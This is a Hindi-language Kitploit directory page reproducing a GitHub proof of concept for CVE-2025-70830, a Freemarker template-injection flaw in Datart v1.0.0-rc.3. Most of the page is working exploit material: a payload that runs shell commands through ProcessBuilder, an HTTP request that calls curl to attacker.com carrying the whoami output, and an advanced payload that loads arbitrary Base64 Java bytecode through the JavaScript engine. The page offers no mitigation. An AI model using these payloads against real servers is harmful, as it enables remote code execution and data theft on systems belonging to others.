Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-70830 — Datart v1.0.0-rc.3 के Freemarker टेम्पलेट इंजन में एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) कमजोरी प्रमाणित हमलावरों को SQL स्क्रिप्ट फ़ील्ड में गढ़े हुए Freemarker टेम्पलेट सिंटैक्स को इंजेक्ट करके मनमाना कोड निष्पादित करने की अनुमति देती है। | Kitploit
उपकरण/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

Datart v1.0.0-rc.3 के Freemarker टेम्पलेट इंजन में एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) कमजोरी प्रमाणित हमलावरों को SQL स्क्रिप्ट फ़ील्ड में गढ़े हुए Freemarker टेम्पलेट सिंटैक्स को इंजेक्ट करके मनमाना कोड निष्पादित करने की अनुमति देती है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
56 महीने पहलेअभी तक समीक्षित नहीं

CVE-2025-70830: Datart सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI)

अवलोकन

  • CVE आईडी: CVE-2025-70830
  • प्रभावित उत्पाद: Datart
  • प्रभावित संस्करण: v1.0.0-rc.3
  • भेद्यता प्रकार: सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI)
  • ख़तरे का स्तर: रिमोट कोड एक्ज़ीक्यूशन (RCE)

भेद्यता विवरण

Datart v1.0.0-rc.3 संस्करण के Freemarker टेम्पलेट इंजन में सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) भेद्यता मौजूद है। प्रमाणित हमलावर SQL स्क्रिप्ट फ़ील्ड में दुर्भावनापूर्ण Freemarker टेम्पलेट सिंटैक्स इंजेक्ट करके मनमाना सिस्टम कोड निष्पादित कर सकते हैं।

प्रूफ़ ऑफ़ कॉन्सेप्ट

1. पूर्व आवश्यकताएँ

  • Datart सिस्टम में लॉगिन करें।
  • SQL निष्पादन क्षमता वाले डेटा स्रोत (Data Source) तक पहुँच और संपादन की क्षमता।

2. पेलोड निर्माण

SQL स्क्रिप्ट/क्वेरी एडिटर में, निम्नलिखित Freemarker पेलोड डालें जिसका उपयोग सिस्टम कमांड (जैसे id या calc) निष्पादित करने के लिए किया जा सकता है:

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

स्क्रिप्ट निष्पादित करने पर, सर्वर पृष्ठभूमि में कमांड चलाएगा।

3. HTTP अनुरोध उदाहरण

API के माध्यम से भेद्यता को ट्रिगर करने वाला अनुरोध पैकेट निम्नलिखित है:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

उन्नत शोषण

मनमाना बाइटकोड लोड करना

हमलावर Java के javax.script.ScriptEngineManager का उपयोग करके JS इंजन को कॉल कर सकते हैं और किसी भी Base64-एन्कोडेड Java बाइटकोड को लोड और निष्पादित कर सकते हैं।

पेलोड उदाहरण:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
टूल डाउनलोड करें